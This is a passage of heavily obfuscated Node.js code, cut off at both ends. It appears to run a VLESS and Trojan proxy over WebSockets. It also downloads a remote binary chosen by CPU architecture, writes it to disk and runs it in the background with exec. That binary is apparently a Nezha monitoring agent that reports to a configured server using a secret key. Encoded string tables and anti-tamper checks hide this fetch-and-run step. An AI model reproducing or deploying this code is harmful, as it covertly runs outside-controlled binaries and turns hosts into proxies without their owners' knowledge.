return![];}}_0x593873=_0x3c7f77['readUInt16'+'BE'](_0x4710de),_0x4710de+=-0x1b83+-0x1*0x1a93+-0x1b0c*-0x2;if(_0x28c6a0['HNsJS'](_0x4710de,_0x3c7f77['length'])&&_0x28c6a0[_0x97744a(0x5c7,0x551,0x559,0x514)](_0x3c7f77[_0x4710de],0x1*-0x1ce1+0x1d25+0xb*-0x5)&&_0x28c6a0[_0x97744a(0x4c8,0x44d,0x499,0x46a)](_0x3c7f77[_0x28c6a0[_0x523308(0x60d,0x54e,0x588,0x645)](_0x4710de,0x17*0xc0+0x8a5+0x19e4*-0x1)],-0x1b7e+0x769+0x12f*0x11)){if(_0x28c6a0[_0x523308(0x5fc,0x5ac,0x69b,0x593)](_0x523308(0x6b0,0x647,0x6c1,0x6e0),_0x28c6a0['fynGI']))_0x4710de+=-0x24c3+-0x2592+0x4a57*0x1;else{const _0x1f28f8=_0x264a0d[_0x97744a(0x57c,0x4ba,0x565,0x58e)](_0x30e270)?_0x28c6a0['nXpPX']:'';_0x481009=_0x523308(0x6b4,0x71e,0x693,0x723)+_0x523308(0x5b9,0x517,0x50a,0x667)+'s\x20'+_0x58ef18+':'+_0x59c4a9+_0x97744a(0x648,0x669,0x6b8,0x64e)+_0x207495+'\x20'+_0x1f28f8+(_0x97744a(0x591,0x595,0x660,0x4ca)+'-auto-upda'+'te\x20--repor'+'t-delay\x204\x20'+_0x97744a(0x618,0x587,0x5f5,0x6ad)+_0x97744a(0x62d,0x656,0x6d6,0x6c9)+_0x97744a(0x4eb,0x587,0x547,0x4ec)+_0x523308(0x584,0x5b1,0x62e,0x5cc)+'\x20&');}}const _0x3ba987=_0x28c6a0[_0x523308(0x5ee,0x680,0x5ce,0x551)](createWebSocketStream,_0x2d811f);return _0x28c6a0[_0x523308(0x6a2,0x67a,0x60e,0x728)](resolveHost,_0x4fbeba)[_0x97744a(0x58d,0x524,0x4f4,0x640)](_0xbdc758=>{const _0x2e5828={'xufBK':function(_0x212419,_0x363880,_0x5b6a86,_0x419056){return _0x212419(_0x363880,_0x5b6a86,_0x419056);},'sPDTx':_0x28c6a0[_0x382074(-0x8,-0x16,-0x96,-0x7b)],'LoECz':function(_0x355fb9,_0x23ba06){return _0x355fb9===_0x23ba06;},'pFdim':_0x161d54(0x3de,0x39b,0x451,0x433),'lkCns':function(_0x293881,_0x222171){return _0x293881<_0x222171;},'yZhwN':_0x382074(-0x25,0x80,-0x6c,-0x3)},_0x450896={};function _0x161d54(_0x253421,_0xb4544f,_0x452cec,_0x41c919){return _0x523308(_0x452cec- -0x17b,_0xb4544f-0x0,_0x41c919,_0x41c919-0xcd);}function _0x382074(_0x33c70c,_0x471f30,_0x42ccdf,_0x2084c8){return _0x523308(_0x33c70c- -0x577,_0x471f30-0x49,_0x471f30,_0x2084c8-0x17);}_0x450896[_0x382074(0xe,0x83,0x87,-0x6)]=_0xbdc758,_0x450896[_0x382074(0x83,0x87,0xbd,0x125)]=_0x593873,net[_0x382074(0x6f,-0x5e,0x2e,0x3d)](_0x450896,function(){const _0x566681={};_0x566681[_0x1da0ea(0xd8,0xa4,0x50,0xc4)]=_0x2e5828['sPDTx'];const _0x34f2aa=_0x566681;function _0x1da0ea(_0x53563c,_0x15af50,_0x5d3c63,_0x23f593){return _0x382074(_0x53563c- -0x4b,_0x15af50,_0x5d3c63-0x138,_0x23f593-0x132);}function _0x3a2075(_0x1e23f1,_0x20ba06,_0x5e43a4,_0xf4acf5){return _0x161d54(_0x1e23f1-0x113,_0x20ba06-0x169,_0x5e43a4- -0x5f7,_0x1e23f1);}if(_0x2e5828[_0x1da0ea(0x1d,0x81,-0xab,0xdf)](_0x2e5828['pFdim'],_0x2e5828['pFdim']))_0x2e5828[_0x1da0ea(0xe2,0x6d,0x172,0xfd)](_0x4710de,_0x3c7f77[_0x3a2075(-0x138,-0x13,-0x9b,0x1c)])&&this[_0x1da0ea(0xd6,0x58,0x78,0x46)](_0x3c7f77[_0x1da0ea(0xbd,0xd8,0x4a,0x61)](_0x4710de)),_0x3ba987['on'](_0x2e5828[_0x1da0ea(0xd9,0x26,0x13,0x195)],()=>{})[_0x3a2075(-0x2b,-0x151,-0xba,-0xfb)](this)['on'](_0x2e5828[_0x3a2075(-0x10c,-0x70,-0xd7,-0x76)],()=>{})[_0x3a2075(-0x5a,-0xb4,-0xba,-0x128)](_0x3ba987);else{const _0x5bc23f={};_0x5bc23f[_0x1da0ea(0x18,0x75,0x73,0xde)]=_0x1da0ea(-0x5e,-0xf1,-0xc0,0x11),_0x2e5828[_0x1da0ea(0xc6,0x14a,0x140,0x48)](_0x2a4667,_0x35e785,_0x5bc23f,_0x5ea48a=>{function _0x45a8b3(_0x144329,_0x490453,_0x5aac4f,_0x3c6b8e){return _0x3a2075(_0x5aac4f,_0x490453-0x1d,_0x144329-0x2a0,_0x3c6b8e-0x140);}function _0x5e8a4c(_0x1b3cfd,_0x1ce8c5,_0x3c73bc,_0x3e9566){return _0x1da0ea(_0x1b3cfd-0x597,_0x3e9566,_0x3c73bc-0x139,_0x3e9566-0x34);}if(_0x5ea48a)_0x364d58['error'](_0x45a8b3(0x187,0x20d,0x141,0x1c3)+_0x45a8b3(0x8d,0xdb,0xf5,0xb4),_0x5ea48a);else _0x260bab['log'](_0x34f2aa[_0x5e8a4c(0x66f,0x686,0x6e9,0x5d3)]);});}})['on'](_0x161d54(0x321,0x33a,0x3d7,0x41c),()=>{});})['catch'](_0x15df4f=>{function _0x3c988c(_0x157bf2,_0xfc9492,_0x16da6a,_0x482561){return _0x97744a(_0x16da6a- -0x30,_0xfc9492-0xea,_0x16da6a-0x96,_0x482561);}function _0x173447(_0x18e2df,_0x227f18,_0x46f8d1,_0x4d2f81){return _0x523308(_0x46f8d1- -0x57a,_0x227f18-0x60,_0x227f18,_0x4d2f81-0x37);}const _0x1d334e={'ZWtym':function(_0x4ac6f7,_0x4ea6cf){return _0x28c6a0['HNsJS'](_0x4ac6f7,_0x4ea6cf);},'XKZIp':_0x28c6a0['OXYau']},_0x2f62b7={};_0x2f62b7[_0x3c988c(0x576,0x529,0x4cc,0x40e)]=_0x4fbeba,_0x2f62b7[_0x173447(0xa1,-0x27,0x80,0x59)]=_0x593873,net['connect'](_0x2f62b7,function(){_0x1d334e['ZWtym'](_0x4710de,_0x3c7f77[_0x415b46(0x70,0xf9,-0x56,0x119)])&&this['write'](_0x3c7f77[_0x415b46(0x18,0x18,-0x51,-0x37)](_0x4710de));function _0x2d8870(_0x417708,_0x591515,_0x19464f,_0x37508f){return _0x3c988c(_0x417708-0xa4,_0x591515-0x1a5,_0x417708-0x19,_0x37508f);}function _0x415b46(_0x603090,_0x4bc37e,_0x2e9a62,_0x2e4cff){return _0x173447(_0x603090-0xbe,_0x2e4cff,_0x603090- -0xed,_0x2e4cff-0x120);}_0x3ba987['on'](_0x1d334e['XKZIp'],()=>{})[_0x415b46(0x51,0xda,-0x5,-0x26)](this)['on'](_0x1d334e['XKZIp'],()=>{})[_0x2d8870(0x618,0x59d,0x6a8,0x5b8)](_0x3ba987);})['on'](_0x28c6a0[_0x3c988c(0x585,0x541,0x5a4,0x607)],()=>{});}),!![];}catch(_0x2d56ad){return![];}}function _0x2de5(_0x1a3b1d,_0x3c0204){_0x1a3b1d=_0x1a3b1d-(0x16f9+-0x1ad1+-0x59*-0xf);const _0x54b009=_0x2709();let _0x495dde=_0x54b009[_0x1a3b1d];if(_0x2de5['pbDIKz']===undefined){var _0x3e7771=function(_0x4b70a9){const _0x5116e2='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x58df0c='',_0x316972='',_0x514004=_0x58df0c+_0x3e7771;for(let _0x3fc1ef=0x2568+-0xa26+-0x1b42,_0x343edb,_0x20a846,_0x366569=-0x11*-0x203+-0x17cf+0x5*-0x214;_0x20a846=_0x4b70a9['charAt'](_0x366569++);~_0x20a846&&(_0x343edb=_0x3fc1ef%(0xf93+-0x677+-0x4*0x246)?_0x343edb*(-0xa*0x2c5+0x15*-0x130+-0x34e2*-0x1)+_0x20a846:_0x20a846,_0x3fc1ef++%(-0x10c3+-0x153*0x7+0x1a0c))?_0x58df0c+=_0x514004['charCodeAt'](_0x366569+(-0x3b2+0x19bb+-0x15ff))-(0x2a8*0x1+-0x96e+0x6d0)!==-0xfd7+0x555+0x5*0x21a?String['fromCharCode'](0xd*0x18e+-0x6f5+0x2*-0x621&_0x343edb>>(-(-0x1f3f+0x3*0x883+-0x1e8*-0x3)*_0x3fc1ef&-0x3*0xc6d+-0xa0*-0x16+-0x1*-0x178d)):_0x3fc1ef:0x481*-0x4+0x233e+-0x113a){_0x20a846=_0x5116e2['indexOf'](_0x20a846);}for(let _0x3c0822=-0xc8a+0x11e6*-0x1+0x1e7*0x10,_0x3a25b7=_0x58df0c['length'];_0x3c0822<_0x3a25b7;_0x3c0822++){_0x316972+='%'+('00'+_0x58df0c['charCodeAt'](_0x3c0822)['toString'](-0x33*0x8a+-0xdd2+0x2960*0x1))['slice'](-(-0x18d*-0x2+0x168e+-0x2*0xcd3));}return decodeURIComponent(_0x316972);};_0x2de5['QELyGy']=_0x3e7771,_0x2de5['eaHDgS']={},_0x2de5['pbDIKz']=!![];}const _0x4fe3f6=_0x54b009[0x2335+-0x2089*-0x1+0x2*-0x21df],_0x470e0b=_0x1a3b1d+_0x4fe3f6,_0x23a3be=_0x2de5['eaHDgS'][_0x470e0b];if(!_0x23a3be){const _0x61e9cb=function(_0xd87d42){this['OmxmdD']=_0xd87d42,this['sthfjn']=[-0x2*0xd3f+0x1*0x92+0x1*0x19ed,-0x14*-0x31+-0x82d+0x459,0x122*0x8+0x5f7+-0xf07*0x1],this['paqWtx']=function(){return'newState';},this['NNXFfC']='\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*',this['gfZQQv']='[\x27|\x22].+[\x27|\x22];?\x20*}';};_0x61e9cb['prototype']['NZYSSz']=function(){const _0x17517f=new RegExp(this['NNXFfC']+this['gfZQQv']),_0x3990d3=_0x17517f['test'](this['paqWtx']['toString']())?--this['sthfjn'][0xdeb*-0x1+0x1b9f+-0xdb3]:--this['sthfjn'][-0x12f7+0x8bd+0xa3a];return this['eWrJyg'](_0x3990d3);},_0x61e9cb['prototype']['eWrJyg']=function(_0x3d429c){if(!Boolean(~_0x3d429c))return _0x3d429c;return this['wvaAHM'](this['OmxmdD']);},_0x61e9cb['prototype']['wvaAHM']=function(_0x45fb0c){for(let _0x76d62c=-0x125f+-0x2*-0x135+0xff5,_0x50587b=this['sthfjn']['length'];_0x76d62c<_0x50587b;_0x76d62c++){this['sthfjn']['push'](Math['round'](Math['random']())),_0x50587b=this['sthfjn']['length'];}return _0x45fb0c(this['sthfjn'][-0x1c9*0x12+-0x15a5*0x1+0x35c7]);},new _0x61e9cb(_0x2de5)['NZYSSz'](),_0x495dde=_0x2de5['QELyGy'](_0x495dde),_0x2de5['eaHDgS'][_0x470e0b]=_0x495dde;}else _0x495dde=_0x23a3be;return _0x495dde;}wss['on'](_0x5438be(-0x1ac,-0xe5,-0x13e,-0x120),(_0x357061,_0x37bd11)=>{const _0x93ffc9={'VaMkh':'error','tuOcy':function(_0x428b01,_0x3e3661){return _0x428b01===_0x3e3661;},'UNieM':function(_0x28fb6f,_0x596829){return _0x28fb6f!==_0x596829;},'yBYYD':'nXsPP','yslds':'AcYCC','eAWSf':function(_0x5a81b0,_0x434bf7,_0x232e2e){return _0x5a81b0(_0x434bf7,_0x232e2e);},'xggdM':function(_0x163858,_0xf60ace){return _0x163858!==_0xf60ace;},'TkzUB':_0x513f1c(0xc,0x4d,0xd8,0x173),'jCjAo':_0x513f1c(0x10c,0x22a,0x181,0x150)};function _0x582168(_0x211297,_0x160098,_0x43b119,_0x3ab89c){return _0x5438be(_0x160098,_0x160098-0x17f,_0x3ab89c-0x1b5,_0x3ab89c-0x197);}const _0x11d59c=_0x37bd11['url']||'';function _0x513f1c(_0x571236,_0x54f4fb,_0x375cab,_0x37aa23){return _0x5438be(_0x54f4fb,_0x54f4fb-0x153,_0x375cab-0x20f,_0x37aa23-0x1ab);}_0x357061[_0x513f1c(0x11c,0x1cc,0x14b,0x80)](_0x93ffc9['jCjAo'],_0x273b27=>{if(_0x273b27['length']>-0x22b+-0x175*-0xb+-0x141*0xb&&_0x93ffc9[_0x44c215(0x519,0x4a1,0x4d8,0x53e)](_0x273b27[-0x1*0x129f+0xe9b+0x404],-0x68f+0xc2d+-0x59e)){const _0x10487b=_0x273b27[_0x44c215(0x4f1,0x49f,0x42d,0x56d)](-0x1d7b*0x1+-0xe*-0x17b+-0x76*-0x13,0x5*-0x78b+-0x1*-0x32f+0x2299),_0x5b0a10=_0x10487b[_0x44c215(0x3b2,0x466,0x4ae,0x4d3)]((_0x42d744,_0x42fb38)=>_0x42d744==parseInt(uuid['substr'](_0x42fb38*(-0x251*-0x5+-0x1c0e+0x107b),0x18a+-0x1*0x1da+-0x1*-0x52),-0x2*-0xe35+0x29c*-0x7+-0x1*0xa16));if(_0x5b0a10){if(_0x93ffc9[_0x525d54(0x115,0xfb,0x101,0xa7)](_0x93ffc9['yBYYD'],_0x93ffc9['yslds'])){!_0x93ffc9[_0x44c215(0x4cb,0x49b,0x47f,0x474)](handleVlessConnection,_0x357061,_0x273b27)&&(_0x93ffc9['xggdM'](_0x44c215(0x529,0x49c,0x4d5,0x4de),_0x93ffc9['TkzUB'])?_0x357061[_0x44c215(0x38f,0x40c,0x411,0x3da)]():_0x5f1809+=-0x78f+0x1*-0x757+-0x13e*-0xc);return;}else this['write'](_0x1fc40e[_0x525d54(0xdb,0x153,0xf2,0x196)](_0x3ad4e7)),_0x1dca31['on'](_0x93ffc9[_0x44c215(0x373,0x379,0x2eb,0x353)],()=>{})['pipe'](this)['on'](_0x93ffc9['VaMkh'],()=>{})[_0x44c215(0x4d9,0x4d8,0x537,0x410)](_0x44e143);}}function _0x44c215(_0x360a75,_0x52f4c2,_0x589104,_0x34c492){return _0x582168(_0x360a75-0x187,_0x360a75,_0x589104-0xba,_0x52f4c2-0x382);}function _0x525d54(_0x59c029,_0x1a2a44,_0x31fe6e,_0x1528f9){return _0x513f1c(_0x59c029-0x42,_0x1528f9,_0x59c029- -0x9c,_0x1528f9-0x112);}!_0x93ffc9['eAWSf'](handleTrojanConnection,_0x357061,_0x273b27)&&_0x357061[_0x525d54(0x48,-0x72,-0x21,-0x54)]();})['on'](_0x582168(-0xe,0x4a,-0xb1,-0x10),()=>{});});const getDownloadUrl=()=>{function _0x5c93ea(_0x5a0d02,_0x4cba34,_0xda7382,_0x1b4dc9){return _0x21134f(_0x1b4dc9,_0x4cba34-0xb2,_0xda7382-0x424,_0x1b4dc9-0x10);}const _0x412575={'jQqmp':function(_0x366892){return _0x366892();},'YVvzO':function(_0x529058,_0x4c03da){return _0x529058===_0x4c03da;},'YCbHV':function(_0x3e3790,_0x1a16fe){return _0x3e3790===_0x1a16fe;},'ePCrk':function(_0x2b888e,_0x5b2402){return _0x2b888e===_0x5b2402;},'VvbSa':'erNZB','hOTVT':_0x4d5989(0xbf,0xc2,0x104,0xf1)+_0x5c93ea(0x46f,0x343,0x3ac,0x3bd)+_0x5c93ea(0x3e8,0x396,0x40f,0x49a),'scasl':_0x4d5989(0x54,-0x70,0xc7,0x7),'sngMZ':_0x4d5989(0x1a0,0x20b,0x245,0x1d9),'uSFXG':_0x4d5989(0xbf,0x109,0x30,0xb9)+'m64.ssss.n'+_0x4d5989(0x16c,0x135,0x14f,0x19a)+'t','aiEWY':_0x5c93ea(0x341,0x210,0x2db,0x323),'JUpaj':_0x5c93ea(0x34e,0x46a,0x3d7,0x3e7)+_0x4d5989(0xd1,0xbb,0x4a,0xc9)+_0x5c93ea(0x36e,0x481,0x40f,0x3c4)},_0x2eaf58=os[_0x5c93ea(0x2c7,0x25b,0x2be,0x383)]();function _0x4d5989(_0xbbdfda,_0x3e0676,_0x3d0755,_0x4532ab){return _0x21134f(_0x4532ab,_0x3e0676-0xe7,_0xbbdfda-0x18f,_0x4532ab-0x28);}if(_0x412575[_0x4d5989(0xf3,0x10e,0x105,0xa1)](_0x2eaf58,_0x4d5989(0x109,0xbe,0x113,0x17b))||_0x412575[_0x5c93ea(0x452,0x472,0x3ca,0x31c)](_0x2eaf58,_0x4d5989(0x84,0x60,0x52,0xd8))||_0x412575[_0x5c93ea(0x3f1,0x431,0x3a9,0x3e3)](_0x2eaf58,_0x4d5989(0x7a,0x11e,0x1a,0x5a))){if(!NEZHA_PORT){if(_0x412575['VvbSa']!==_0x412575[_0x4d5989(0x158,0x17a,0xc8,0xf1)]){if(_0x177095)_0x977f37(_0x8f14af);_0x412575['jQqmp'](_0x404b34);}else return _0x412575[_0x5c93ea(0x4ba,0x3a0,0x3f9,0x416)];}else{if(_0x412575['scasl']!==_0x412575[_0x4d5989(0x13c,0x1ee,0x1c6,0x122)])return _0x412575[_0x5c93ea(0x2b3,0x3b2,0x377,0x3b2)];else _0xc3febb=_0x386bdc[_0x4d5989(0x160,0x1b4,0x216,0x134)](_0x1e85d6,_0xc2fedb+(-0x145*-0x1e+-0x25c1+-0x51))['join']('.'),_0x1f94ba+=-0x1c3b+-0x1127+-0x3*-0xf22;}}else{if(!NEZHA_PORT){if(_0x412575[_0x4d5989(0xf3,0x50,0x190,0x17d)](_0x4d5989(0x46,0x4f,0xff,0xfc),_0x412575[_0x4d5989(0x82,0x103,0xb1,0x14b)]))return _0x412575[_0x4d5989(0xec,0x196,0x124,0x20)];else{if(_0x2fccad){const _0x168d44=_0xe21e55[_0x5c93ea(0x384,0x312,0x33c,0x2db)](_0x1ed293,arguments);return _0x3e56ec=null,_0x168d44;}}}else return _0x5c93ea(0x315,0x3d0,0x3d7,0x310)+_0x5c93ea(0x2f0,0x2f0,0x366,0x413)+_0x4d5989(0x16c,0x213,0xe8,0xd7)+'t';}},downloadFile=async()=>{function _0x1aa5f3(_0x537998,_0x3967e2,_0x549f89,_0x36a634){return _0x21134f(_0x537998,_0x3967e2-0x3f,_0x549f89-0x639,_0x36a634-0x1ab);}const _0x14e888={'wFahA':_0x1b731f(0x2aa,0x2dd,0x1dc,0x1f4)+_0x1aa5f3(0x696,0x6d4,0x61a,0x6b7)+_0x1b731f(0x2ab,0x273,0x357,0x2d3),'gnWDh':function(_0x4f2fb9,_0x55d334,_0x515cf7){return _0x4f2fb9(_0x55d334,_0x515cf7);},'WzWTC':_0x1aa5f3(0x522,0x4fb,0x548,0x5de)+'pm','XaGzR':_0x1aa5f3(0x68a,0x6ff,0x64f,0x5de),'kwZWj':_0x1aa5f3(0x53d,0x5d7,0x56e,0x4f1),'fDVTy':_0x1aa5f3(0x49d,0x4c6,0x4dd,0x428),'UlGLZ':_0x1aa5f3(0x5a7,0x618,0x561,0x4db),'vUuzN':function(_0x2a0eeb){return _0x2a0eeb();},'SnosD':function(_0x3ab0bf,_0x215f19){return _0x3ab0bf(_0x215f19);},'ofQLL':_0x1b731f(0x28a,0x23c,0x1ce,0x1d5),'QJvIj':_0x1aa5f3(0x5df,0x670,0x5b1,0x64c),'oomic':'npm','AvepU':function(_0x12c638,_0x5d5f11){return _0x12c638!==_0x5d5f11;},'SEBwu':_0x1b731f(0x37a,0x2db,0x309,0x35a)};function _0x1b731f(_0x30da13,_0x28f22,_0x299fb0,_0x2af511){return _0x5438be(_0x299fb0,_0x28f22-0x17e,_0x30da13-0x435,_0x2af511-0x86);}if(!NEZHA_SERVER&&!NEZHA_KEY)return;try{if(_0x14e888[_0x1b731f(0x3ba,0x420,0x37c,0x312)]===_0x14e888[_0x1aa5f3(0x58c,0x699,0x627,0x598)]){const _0x3dabfc=_0x14e888[_0x1b731f(0x33e,0x3cc,0x37f,0x39b)](getDownloadUrl),_0x544be5=await _0x14e888[_0x1aa5f3(0x483,0x4f4,0x54c,0x60f)](axios,{'method':_0x14e888[_0x1b731f(0x35e,0x3a4,0x2ab,0x38f)],'url':_0x3dabfc,'responseType':_0x14e888[_0x1b731f(0x272,0x1e4,0x2a9,0x31d)]}),_0x536a4a=fs['createWrit'+_0x1b731f(0x365,0x317,0x3b4,0x2e6)](_0x14e888[_0x1aa5f3(0x652,0x56a,0x5d3,0x5e1)]);return _0x544be5[_0x1aa5f3(0x671,0x626,0x615,0x6d3)][_0x1b731f(0x3d6,0x30f,0x43f,0x47e)](_0x536a4a),new Promise((_0x40f4a6,_0x4cb855)=>{const _0x15b3cb={};function _0x9acfab(_0x58b118,_0x52101f,_0x10806b,_0x4d0ecd){return _0x1b731f(_0x52101f-0x2ac,_0x52101f-0x15a,_0x10806b,_0x4d0ecd-0x8f);}function _0x4dc565(_0x2626b4,_0x5cecba,_0x269b45,_0x4ca912){return _0x1b731f(_0x5cecba- -0x196,_0x5cecba-0x1f0,_0x2626b4,_0x4ca912-0x14);}_0x15b3cb[_0x4dc565(0x1f4,0x1d2,0x171,0x125)]=_0x4dc565(0x55,0xda,0x15a,0x65);const _0x5d84d6=_0x15b3cb;_0x9acfab(0x4cc,0x511,0x5e1,0x496)!==_0x14e888[_0x4dc565(0x125,0x1ad,0x223,0x225)]?(_0x536a4a['on'](_0x14e888[_0x9acfab(0x6f6,0x660,0x5a8,0x690)],()=>{const _0x371bf1={'chnce':function(_0x35424b,_0x3c3d3b){return _0x35424b(_0x3c3d3b);}};function _0x173aaf(_0x40cc9d,_0xcd254a,_0x27d043,_0x5533c){return _0x4dc565(_0x27d043,_0x5533c-0x437,_0x27d043-0x7c,_0x5533c-0x141);}console[_0x173aaf(0x61f,0x4e7,0x516,0x576)](_0x14e888[_0x173aaf(0x508,0x596,0x59d,0x570)]);function _0x22eb55(_0x5edbe1,_0x132033,_0x642078,_0x4b0550){return _0x4dc565(_0x5edbe1,_0x132033-0x2ad,_0x642078-0xbc,_0x4b0550-0x195);}_0x14e888['gnWDh'](exec,_0x14e888[_0x173aaf(0x603,0x55e,0x50d,0x545)],_0x166d47=>{if(_0x166d47)_0x371bf1[_0x1e89c1(0x5bf,0x66f,0x5c5,0x5bf)](_0x4cb855,_0x166d47);function _0x1e89c1(_0x157d96,_0x2dba52,_0x1358ae,_0x301056){return _0x173aaf(_0x157d96-0xcc,_0x2dba52-0x1c4,_0x1358ae,_0x157d96- -0x57);}_0x40f4a6();});}),_0x536a4a['on'](_0x14e888[_0x4dc565(0x102,0x117,0x9e,0x164)],_0x4cb855)):(this['write'](_0x178cc9[_0x4dc565(0x1b8,0x207,0x2b5,0x13d)](_0x419c03)),_0x209af2['on'](_0x4dc565(0xc7,0xda,0xc2,0xbc),()=>{})[_0x4dc565(0x23e,0x240,0x22e,0x2e9)](this)['on'](_0x5d84d6[_0x4dc565(0x241,0x1d2,0x277,0x14e)],()=>{})[_0x9acfab(0x5f9,0x682,0x735,0x6a6)](_0x1f71cc));});}else{const _0x15dafc=_0x3378e0[_0x1aa5f3(0x5d7,0x5af,0x551,0x555)](_0x4b380c,arguments);return _0x5b0637=null,_0x15dafc;}}catch(_0x1f0c08){if(_0x14e888[_0x1aa5f3(0x520,0x655,0x5c5,0x664)]('asrUg',_0x14e888[_0x1b731f(0x262,0x2b9,0x1d7,0x2ae)])){const _0x215332=_0x246663?function(){function _0x45a345(_0x1049c9,_0x3cacab,_0x2c3463,_0x5bd6c5){return _0x1b731f(_0x2c3463-0xce,_0x3cacab-0x15e,_0x3cacab,_0x5bd6c5-0x23);}if(_0x3db98e){const _0x1046b3=_0x246083[_0x45a345(0x441,0x3fc,0x3b2,0x359)](_0xc518d4,arguments);return _0x3ab287=null,_0x1046b3;}}:function(){};return _0x3c6217=![],_0x215332;}else throw _0x1f0c08;}},runnz=async()=>{function _0x2e0863(_0x1f7d70,_0x467909,_0x4aa7ed,_0x16d048){return _0x21134f(_0x4aa7ed,_0x467909-0xb0,_0x467909-0xee,_0x16d048-0x77);}const _0x35b745={'rqrkg':function(_0x4724e5,_0xa66437,_0x5384d7){return _0x4724e5(_0xa66437,_0x5384d7);},'aTLVk':_0x4a1158(-0x1d,-0x9f,0x4d,-0x22)+_0x2e0863(0x96,0x119,0x65,0xb5)+_0x4a1158(-0xc5,-0x115,-0x181,-0xc4)+_0x4a1158(0x1f,-0x3d,-0x81,-0x8f),'XMKNF':'utf-8','loION':function(_0x57ea8a,_0x4f3827){return _0x57ea8a!==_0x4f3827;},'qVKgV':_0x4a1158(-0x15d,-0x120,-0x152,-0x15e)+'eady\x20runni'+_0x4a1158(-0x5f,-0xcf,-0xab,-0x51)+_0x2e0863(0xdb,0x10,-0xa7,0x7),'XegYD':function(_0x1761cd,_0x42a3f8){return _0x1761cd(_0x42a3f8);},'oYJhM':_0x2e0863(0x10a,0x99,0x103,0x32)+'g\x20error:','angvx':function(_0x31c6db,_0x302d27){return _0x31c6db!==_0x302d27;},'fclJi':_0x4a1158(-0x31,-0x15,-0x39,0x63),'AIjFT':'2096','uEvzD':_0x4a1158(-0x9f,-0x97,-0x65,-0x1a),'bcSLD':_0x4a1158(-0x4c,-0x4b,-0x11a,0x3c),'pzYgv':function(_0x31ca43,_0x3702a7){return _0x31ca43&&_0x3702a7;},'ueQWI':_0x4a1158(0x18,0xe8,0x94,-0xa3),'IFooG':_0x2e0863(0xda,0xeb,0xdb,0xd9),'fVIIk':_0x2e0863(-0x34,0x11,0x87,-0x59),'BYrue':_0x2e0863(-0x50,-0x19,-0xc9,-0x6d)+'l','qrrUI':_0x4a1158(-0x67,0x4e,-0x60,-0xeb),'NmIQl':_0x2e0863(0x16e,0xfd,0xdf,0x11c)+_0x2e0863(0xc5,0x6b,0x108,0x7f)+'pty,\x20skip\x20'+_0x4a1158(-0x1e,-0x27,-0x53,0x51),'GKxnR':function(_0x5b3bd3,_0x17f5c4){return _0x5b3bd3===_0x17f5c4;},'emmdY':'Wjgea','aTOZC':function(_0x107c2f,_0x36a8ab,_0x168878,_0x4772be){return _0x107c2f(_0x36a8ab,_0x168878,_0x4772be);},'tjqEz':_0x2e0863(-0x11b,-0x5c,-0x24,0x57)};try{const _0x3eadda={};_0x3eadda[_0x4a1158(-0x3a,0x27,0x31,0x31)]=_0x35b745[_0x4a1158(-0xfa,-0x18f,-0x7d,-0x111)];const _0x2dc6ce=execSync(_0x4a1158(-0x1d,0x4d,0x23,-0x38)+_0x2e0863(0xff,0x119,0x119,0x70)+_0x2e0863(-0x91,0x1d,0xa,0x4c)+_0x2e0863(0x18c,0x101,0x1ab,0x130),_0x3eadda);if(_0x35b745[_0x4a1158(0x38,-0x82,-0x12,0xcb)](_0x2dc6ce[_0x4a1158(-0x43,-0xd9,0x40,-0xc7)](),'')){console[_0x2e0863(-0x8b,-0x9,0x7d,0x3a)](_0x35b745[_0x2e0863(0x2b,0x31,-0x7e,0xf5)]);return;}}catch(_0x61f59a){}await downloadFile();let _0x448363='',_0x1727fc=[_0x2e0863(0xc1,0x4f,-0x42,0xbc),_0x35b745[_0x2e0863(0x3b,-0x13,-0x3,-0x8b)],_0x35b745[_0x2e0863(0x1c,0x4e,-0x34,-0x3c)],'2087',_0x35b745[_0x2e0863(-0xf1,-0x62,-0x32,-0x15)],_0x35b745[_0x4a1158(0x1a,0x96,-0x11,-0x15)]];if(_0x35b745[_0x2e0863(0xc9,0x25,0x8c,0x7a)](NEZHA_SERVER,NEZHA_PORT)&&NEZHA_KEY){const _0x54d35e=_0x1727fc[_0x2e0863(-0x52,0x45,0x111,0x90)](NEZHA_PORT)?_0x35b745['ueQWI']:'';_0x448363=_0x4a1158(0x12,0x1a,-0x33,-0x1a)+_0x2e0863(-0xa3,-0x7,-0x68,-0x7d)+'s\x20'+NEZHA_SERVER+':'+NEZHA_PORT+'\x20-p\x20'+NEZHA_KEY+'\x20'+_0x54d35e+(_0x4a1158(-0x88,-0xd1,-0xb1,0x3a)+_0x4a1158(-0x4,-0xcb,0x2f,0xad)+_0x2e0863(0x72,-0x58,0x17,-0xc7)+_0x4a1158(-0x9c,-0xdb,-0xe4,-0x79)+_0x2e0863(0x20,0xe1,0x2d,0x167)+'n\x20--skip-p'+_0x4a1158(-0x12e,-0xbd,-0xd6,-0x84)+_0x4a1158(-0x11e,-0xbc,-0xe5,-0x180)+'\x20&');}else{if(_0x35b745[_0x2e0863(0x94,0x25,0xc3,0x1a)](NEZHA_SERVER,NEZHA_KEY)){if(!NEZHA_PORT){const _0x347d0f=NEZHA_SERVER[_0x4a1158(-0x9d,-0x11b,-0x43,0x32)](':')?NEZHA_SERVER[_0x2e0863(0x8b,0xdd,0x4b,0x96)](':')['pop']():'',_0x4d9f9c=_0x1727fc[_0x2e0863(0xd5,0x45,0x65,0x59)](_0x347d0f)?_0x35b745[_0x4a1158(-0x114,-0x14d,-0x101,-0x7b)]:_0x35b745[_0x2e0863(0xe3,0x17,-0x9,-0xa)],_0xa8bbf8='client_sec'+_0x4a1158(-0x10a,-0x7c,-0x59,-0xc7)+NEZHA_KEY+('\x0adebug:\x20fa'+'lse\x0adisabl'+_0x4a1158(-0x123,-0x1a6,-0x53,-0x1a1)+_0x2e0863(0x3c,0xae,0x65,0x110)+_0x2e0863(-0xb9,-0x2e,0x41,-0xe7)+_0x4a1158(-0x56,-0x2c,-0x3d,-0x7c)+_0x2e0863(0x13f,0x9e,0x14e,0x126)+'\x0adisable_f'+'orce_updat'+_0x2e0863(0x1a6,0x100,0x42,0x1a2)+_0x4a1158(-0x53,-0xa2,0x24,-0xfb)+_0x4a1158(-0xfe,-0x135,-0xf8,-0x58)+_0x2e0863(0x6f,0x92,0xb2,-0x26)+_0x4a1158(-0x3e,-0x8b,-0xe1,-0x4e)+_0x2e0863(0x70,0x95,-0x2a,0x9c)+_0x2e0863(-0x90,0x0,0x82,0x7b)+_0x4a1158(0x21,0xca,0x95,-0x4b)